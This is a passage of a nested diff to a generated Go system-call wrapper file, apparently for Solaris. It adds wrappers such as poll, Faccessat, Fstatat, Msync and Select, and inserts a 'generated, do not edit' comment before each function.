-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__makedev)), 3, uintptr(version), uintptr(major), uintptr(minor), 0, 0, 0)
-+ val = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __major(version int, dev uint64) (val uint) {
-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__major)), 2, uintptr(version), uintptr(dev), 0, 0, 0, 0)
-+ val = uint(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __minor(version int, dev uint64) (val uint) {
-+ r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&proc__minor)), 2, uintptr(version), uintptr(dev), 0, 0, 0, 0)
-+ val = uint(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func ioctl(fd int, req uint, arg uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procioctl)), 3, uintptr(fd), uintptr(req), uintptr(arg), 0, 0, 0)
- if e1 != 0 {
-@@ -530,6 +610,19 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procpoll)), 3, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout), 0, 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -543,6 +636,8 @@ func Access(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procAdjtime)), 2, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -551,6 +646,8 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -564,6 +661,8 @@ func Chdir(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chmod(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -577,6 +676,8 @@ func Chmod(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -590,6 +691,8 @@ func Chown(path string, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Chroot(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -603,6 +706,8 @@ func Chroot(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Close(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procClose)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -611,6 +716,8 @@ func Close(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Creat(path string, mode uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -625,6 +732,8 @@ func Creat(path string, mode uint32) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Dup(fd int) (nfd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procDup)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- nfd = int(r0)
-@@ -634,6 +743,8 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Dup2(oldfd int, newfd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procDup2)), 2, uintptr(oldfd), uintptr(newfd), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -642,11 +753,30 @@ func Dup2(oldfd int, newfd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- sysvicall6(uintptr(unsafe.Pointer(&procExit)), 1, uintptr(code), 0, 0, 0, 0, 0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFaccessat)), 4, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchdir)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -655,6 +785,8 @@ func Fchdir(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchmod(fd int, mode uint32) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchmod)), 2, uintptr(fd), uintptr(mode), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -663,6 +795,8 @@ func Fchmod(fd int, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -676,6 +810,8 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFchown)), 3, uintptr(fd), uintptr(uid), uintptr(gid), 0, 0, 0)
- if e1 != 0 {
-@@ -684,6 +820,8 @@ func Fchown(fd int, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -697,6 +835,8 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fdatasync(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFdatasync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -705,6 +845,8 @@ func Fdatasync(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFlock)), 2, uintptr(fd), uintptr(how), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -713,6 +855,8 @@ func Flock(fd int, how int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fpathconf(fd int, name int) (val int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFpathconf)), 2, uintptr(fd), uintptr(name), 0, 0, 0, 0)
- val = int(r0)
-@@ -722,6 +866,8 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstat(fd int, stat *Stat_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstat)), 2, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -730,6 +876,23 @@ func Fstat(fd int, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstatat)), 4, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fstatvfs(fd int, vfsstat *Statvfs_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFstatvfs)), 2, uintptr(fd), uintptr(unsafe.Pointer(vfsstat)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -738,6 +901,8 @@ func Fstatvfs(fd int, vfsstat *Statvfs_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdents(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -751,18 +916,24 @@ func Getdents(fd int, buf []byte, basep *uintptr) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getgid() (gid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetgid)), 0, 0, 0, 0, 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpid() (pid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpid)), 0, 0, 0, 0, 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpgid(pid int) (pgid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpgid)), 1, uintptr(pid), 0, 0, 0, 0, 0)
- pgid = int(r0)
-@@ -772,6 +943,8 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpgrp() (pgid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetpgrp)), 0, 0, 0, 0, 0, 0, 0)
- pgid = int(r0)
-@@ -781,24 +954,32 @@ func Getpgrp() (pgid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Geteuid() (euid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGeteuid)), 0, 0, 0, 0, 0, 0, 0)
- euid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getegid() (egid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGetegid)), 0, 0, 0, 0, 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getppid() (ppid int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procGetppid)), 0, 0, 0, 0, 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getpriority(which int, who int) (n int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procGetpriority)), 2, uintptr(which), uintptr(who), 0, 0, 0, 0)
- n = int(r0)
-@@ -808,6 +989,8 @@ func Getpriority(which int, who int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrlimit(which int, lim *Rlimit) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetrlimit)), 2, uintptr(which), uintptr(unsafe.Pointer(lim)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -816,6 +999,8 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGetrusage)), 2, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -824,6 +1009,8 @@ func Getrusage(who int, rusage *Rusage) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Gettimeofday(tv *Timeval) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procGettimeofday)), 1, uintptr(unsafe.Pointer(tv)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -832,12 +1019,16 @@ func Gettimeofday(tv *Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getuid() (uid int) {
- r0, _, _ := rawSysvicall6(uintptr(unsafe.Pointer(&procGetuid)), 0, 0, 0, 0, 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Kill(pid int, signum syscall.Signal) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procKill)), 2, uintptr(pid), uintptr(signum), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -846,6 +1037,8 @@ func Kill(pid int, signum syscall.Signal) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Lchown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -859,6 +1052,8 @@ func Lchown(path string, uid int, gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Link(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1072,8 @@ func Link(path string, link string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_llisten)), 2, uintptr(s), uintptr(backlog), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -885,6 +1082,8 @@ func Listen(s int, backlog int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -898,6 +1097,8 @@ func Lstat(path string, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Madvise(b []byte, advice int) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -910,6 +1111,8 @@ func Madvise(b []byte, advice int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -923,6 +1126,8 @@ func Mkdir(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -936,6 +1141,8 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -949,6 +1156,8 @@ func Mkfifo(path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -962,6 +1171,8 @@ func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -975,6 +1186,8 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -988,6 +1201,8 @@ func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mlock(b []byte) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1000,6 +1215,8 @@ func Mlock(b []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mlockall(flags int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMlockall)), 1, uintptr(flags), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1008,6 +1225,8 @@ func Mlockall(flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mprotect(b []byte, prot int) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1020,6 +1239,22 @@ func Mprotect(b []byte, prot int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMsync)), 3, uintptr(unsafe.Pointer(_p0)), uintptr(len(b)), uintptr(flags), 0, 0, 0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Munlock(b []byte) (err error) {
- var _p0 *byte
- if len(b) > 0 {
-@@ -1032,6 +1267,8 @@ func Munlock(b []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Munlockall() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procMunlockall)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1040,6 +1277,8 @@ func Munlockall() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procNanosleep)), 2, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1048,6 +1287,8 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1062,6 +1303,8 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1076,6 +1319,8 @@ func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1090,6 +1335,8 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pause() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procPause)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1098,6 +1345,8 @@ func Pause() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1111,6 +1360,8 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1124,6 +1375,8 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func read(fd int, p []byte) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1137,6 +1390,8 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Readlink(path string, buf []byte) (n int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1155,6 +1410,8 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1173,6 +1430,8 @@ func Rename(from string, to string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(oldpath)
-@@ -1191,6 +1450,8 @@ func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err e
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rmdir(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1204,6 +1465,8 @@ func Rmdir(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proclseek)), 3, uintptr(fd), uintptr(offset), uintptr(whence), 0, 0, 0)
- newoffset = int64(r0)
-@@ -1213,6 +1476,19 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSelect)), 5, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setegid(egid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetegid)), 1, uintptr(egid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1221,6 +1497,8 @@ func Setegid(egid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Seteuid(euid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSeteuid)), 1, uintptr(euid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1229,6 +1507,8 @@ func Seteuid(euid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setgid(gid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetgid)), 1, uintptr(gid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1237,6 +1517,8 @@ func Setgid(gid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sethostname(p []byte) (err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1249,6 +1531,8 @@ func Sethostname(p []byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setpgid(pid int, pgid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetpgid)), 2, uintptr(pid), uintptr(pgid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1541,8 @@ func Setpgid(pid int, pgid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setpriority(which int, who int, prio int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSetpriority)), 3, uintptr(which), uintptr(who), uintptr(prio), 0, 0, 0)
- if e1 != 0 {
-@@ -1265,6 +1551,8 @@ func Setpriority(which int, who int, prio int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setregid(rgid int, egid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetregid)), 2, uintptr(rgid), uintptr(egid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1273,6 +1561,8 @@ func Setregid(rgid int, egid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setreuid(ruid int, euid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetreuid)), 2, uintptr(ruid), uintptr(euid), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1281,6 +1571,8 @@ func Setreuid(ruid int, euid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setrlimit(which int, lim *Rlimit) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetrlimit)), 2, uintptr(which), uintptr(unsafe.Pointer(lim)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1289,6 +1581,8 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetsid)), 0, 0, 0, 0, 0, 0, 0)
- pid = int(r0)
-@@ -1298,6 +1592,8 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setuid(uid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetuid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1306,6 +1602,8 @@ func Setuid(uid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Shutdown(s int, how int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procshutdown)), 2, uintptr(s), uintptr(how), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1314,6 +1612,8 @@ func Shutdown(s int, how int) (err error) {
- return
- }
-
